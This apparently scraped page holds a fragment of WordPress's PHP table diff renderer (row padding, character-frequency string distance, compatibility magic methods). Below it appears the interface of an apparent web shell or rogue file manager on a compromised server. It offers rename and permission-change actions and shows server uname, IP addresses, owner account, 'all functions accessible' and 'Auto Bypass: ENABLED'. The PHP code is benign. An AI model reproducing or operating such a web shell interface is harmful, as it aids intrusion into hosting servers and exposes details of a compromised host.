); $orig_rows_copy = $orig_rows; $final_rows = array_keys( $final_matches ); /* * Interleaves rows with blanks to keep matches aligned. * We may end up with some extraneous blank rows, but we'll just ignore them later. */ foreach ( $orig_rows_copy as $orig_row ) { $final_pos = array_search( $orig_matches[ $orig_row ], $final_rows, true ); $orig_pos = (int) array_search( $orig_row, $orig_rows, true ); if ( false === $final_pos ) { // This orig is paired with a blank final. array_splice( $final_rows, $orig_pos, 0, -1 ); } elseif ( $final_pos < $orig_pos ) { // This orig's match is up a ways. Pad final with blank rows. $diff_array = range( -1, $final_pos - $orig_pos ); array_splice( $final_rows, $orig_pos, 0, $diff_array ); } elseif ( $final_pos > $orig_pos ) { // This orig's match is down a ways. Pad orig with blank rows. $diff_array = range( -1, $orig_pos - $final_pos ); array_splice( $orig_rows, $orig_pos, 0, $diff_array ); } } // Pad the ends with blank rows if the columns aren't the same length. $diff_count = count( $orig_rows ) - count( $final_rows ); if ( $diff_count < 0 ) { while ( $diff_count < 0 ) { array_push( $orig_rows, $diff_count++ ); } } elseif ( $diff_count > 0 ) { $diff_count = -1 * $diff_count; while ( $diff_count < 0 ) { array_push( $final_rows, $diff_count++ ); } } return array( $orig_matches, $final_matches, $orig_rows, $final_rows ); } /** * Computes a number that is intended to reflect the "distance" between two strings. * * @since 2.6.0 * * @param string $string1 * @param string $string2 * @return int */ public function compute_string_distance( $string1, $string2 ) { // Use an md5 hash of the strings for a count cache, as it's fast to generate, and collisions aren't a concern. $count_key1 = md5( $string1 ); $count_key2 = md5( $string2 ); // Cache vectors containing character frequency for all chars in each string. if ( ! isset( $this->count_cache[ $count_key1 ] ) ) { $this->count_cache[ $count_key1 ] = count_chars( $string1 ); } if ( ! isset( $this->count_cache[ $count_key2 ] ) ) { $this->count_cache[ $count_key2 ] = count_chars( $string2 ); } $chars1 = $this->count_cache[ $count_key1 ]; $chars2 = $this->count_cache[ $count_key2 ]; $difference_key = md5( implode( ',', $chars1 ) . ':' . implode( ',', $chars2 ) ); if ( ! isset( $this->difference_cache[ $difference_key ] ) ) { // L1-norm of difference vector. $this->difference_cache[ $difference_key ] = array_sum( array_map( array( $this, 'difference' ), $chars1, $chars2 ) ); } $difference = $this->difference_cache[ $difference_key ]; // $string1 has zero length? Odd. Give huge penalty by not dividing. if ( ! $string1 ) { return $difference; } // Return distance per character (of string1). return $difference / strlen( $string1 ); } /** * @ignore * @since 2.6.0 * * @param int $a * @param int $b * @return int */ public function difference( $a, $b ) { return abs( $a - $b ); } /** * Make private properties readable for backward compatibility. * * @since 4.0.0 * @since 6.4.0 Getting a dynamic property is deprecated. * * @param string $name Property to get. * @return mixed A declared property's value, else null. */ public function __get( $name ) { if ( in_array( $name, $this->compat_fields, true ) ) { return $this->$name; } wp_trigger_error( __METHOD__, "The property `{$name}` is not declared. Getting a dynamic property is " . 'deprecated since version 6.4.0! Instead, declare the property on the class.', E_USER_DEPRECATED ); return null; } /** * Make private properties settable for backward compatibility. * * @since 4.0.0 * @since 6.4.0 Setting a dynamic property is deprecated. * * @param string $name Property to check if set. * @param mixed $value Property value. */ public function __set( $name, $value ) { if ( in_array( $name, $this->compat_fields, true ) ) { $this->$name = $value; return; } wp_trigger_error( __METHOD__, "The property `{$name}` is not declared. Setting a dynamic property is " . 'deprecated since version 6.4.0! Instead, declare the property on the class.', E_USER_DEPRECATED ); } /** * Make private properties checkable for backward compatibility. * * @since 4.0.0 * @since 6.4.0 Checking a dynamic property is deprecated. * * @param string $name Property to check if set. * @return bool Whether the property is set. */ public function __isset( $name ) { if ( in_array( $name, $this->compat_fields, true ) ) { return isset( $this->$name ); } wp_trigger_error( __METHOD__, "The property `{$name}` is not declared. Checking `isset()` on a dynamic property " . 'is deprecated since version 6.4.0! Instead, declare the property on the class.', E_USER_DEPRECATED ); return false; } /** * Make private properties un-settable for backward compatibility. * * @since 4.0.0 * @since 6.4.0 Unsetting a dynamic property is deprecated. * * @param string $name Property to unset. */ public function __unset( $name ) { if ( in_array( $name, $this->compat_fields, true ) ) { unset( $this->$name ); return; } wp_trigger_error( __METHOD__, "A property `{$name}` is not declared. Unsetting a dynamic property is " . 'deprecated since version 6.4.0! Instead, declare the property on the class.', E_USER_DEPRECATED ); } }
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux r5.a1center.net 4.18.0-513.5.1.lve.el8.x86_64 #1 SMP Tue Nov 21 10:14:49 UTC 2023 x86_64 Software: Apache PHP Version: 8.3.31 Protocol: HTTP/1.1 Server IP: 167.114.27.228 Your IP: 216.73.217.47 Mail: ON Curl: ON Owner: ipifapor MySQL: ON Disabled Functions: All functions are accessible Auto Bypass: ENABLED